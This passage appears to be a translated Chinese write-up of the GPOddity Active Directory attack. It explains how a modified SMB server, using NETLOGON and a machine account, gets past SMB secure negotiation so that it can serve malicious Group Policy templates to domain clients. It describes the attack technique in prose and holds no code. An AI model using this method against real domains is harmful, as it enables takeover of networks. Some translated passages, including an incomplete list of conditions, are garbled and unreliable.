接下来,相对简单的想法就是对SMB服务器进行稍微的修改,使其需要身份认证,但随后仍将接受任何用户名-密码的登入,不执行任何额外的检查。为了使其正常工作,服务器和客户端之间的通信不应进行签名。实际上,签名密钥是从客户端的密码派生的,在我们的场景中这是未知的。如果在没有有效签名密钥的情况下对数据包进行签名,SMB客户端将无法验证服务器的签名,并将结束通信。
令人惊讶的是,在修改后的impacket SMB客户端以允许任何用户名/密码并禁用签名之后,GPO客户端仍然无法获取托管的GPT文件。更仔细地观察网络数据包后发现,客户端似乎在进行特定的IOCTL交换(Session Logoff Request
)之后系统就停止了通信(FSCTL_VALIDATE_NEGOTIATE_INFO
)。
SMB通信在FSCTL_VALIDATE_NEGOCIATE_INFO
交换后中止
经过更多的内容挖掘,似乎这种特殊的交换模式是由于Windows Server 2012 / Windows 8以来SMB客户端默认启用安全协商功能所造成的。SMB客户端会使用FSCTL_VALIDATE_NEGOTIATE_INFO
数据包来验证SMB会话设置期间从服务器接收的协商信息:
« In a nutshell, upon reception of a Tree Connect response, an SMB3-capable client validates the original SMB2 Negotiate request by sending a signed IOCTL, called FSCTL_VALIDATE_NEGOTIATE_INFO as specified in MS-SMB2. The server needs to reply with a signed response, and this enables end-to-end validation of the Negotiate exchange. […] With 'secure Negotiate', it is not required that signing is active on the connection. It is inherently designed to work with servers that support unsolicited signed requests. »
使用这个特性是为了防止中间人攻击,并且具体地来说,是为了即使没有为通信实现分组签名,FSCTL_VALIDATE_NEGOCIATE_INFO
消息也应该由服务器正确地签名;否则,客户端将终止连接。这解释了我们失败的原因,并且意味着在不知道客户端的密码或者无法正确检索正确秘钥的时候,即使在客户端未激活签名验证的情况下,我们也无法对客户端进行身份验证。
面对这情况,我们有两种方案可以进行选择。第一种是进行Windows身份验证,并在加入域的计算机上托管恶意GPT,这不是最简单的方法,因为他需要破坏域设备,或者将攻击者控制的设备加入域。第二种是使用NETLOGON协议,以便使域控制器验证我们传入的客户端,并传递数据包交换所需的正确签名秘钥。这是GPOddity的内嵌SMB服务器所采用的方案,详细来说是在getNetlogonSessionKey
文件的helpers/gpoddity_smbserver.py
函数中实现的。如上文所述,第二种方法对用户对象的组策略无法成功进行,因此需要退回到第一种方法。
每次GPO客户端尝试向SMB服务器进行身份验证时,都会使用nrpc
impacket库向域控制器发送NETLOGON请求。要使此请求成功,必须满足三个条件:
AUTHENTICATE
相应中的目标计算机发出NETLOGON请求的计算机是否相同"。为此,GPOddity内嵌的SMB服务器必须将其DNS和NETBIOS名称定义为将用于执行NETLOGON身份验证的计算机账户。修改NETLOGOn以通过RPC认证
在满足以上三点的情况下,NETLOGON协议将向SMB服务器提供用于客户端的SMB交换密码的基本秘钥,并且成功地允许客户端检索恶意GPT文件。总而言之,此设置允许GPOddity直接使用未加入域的计算机篡改GPO ACL,以达到在默认AD域配置中轻松创建有效计算机账户的目的。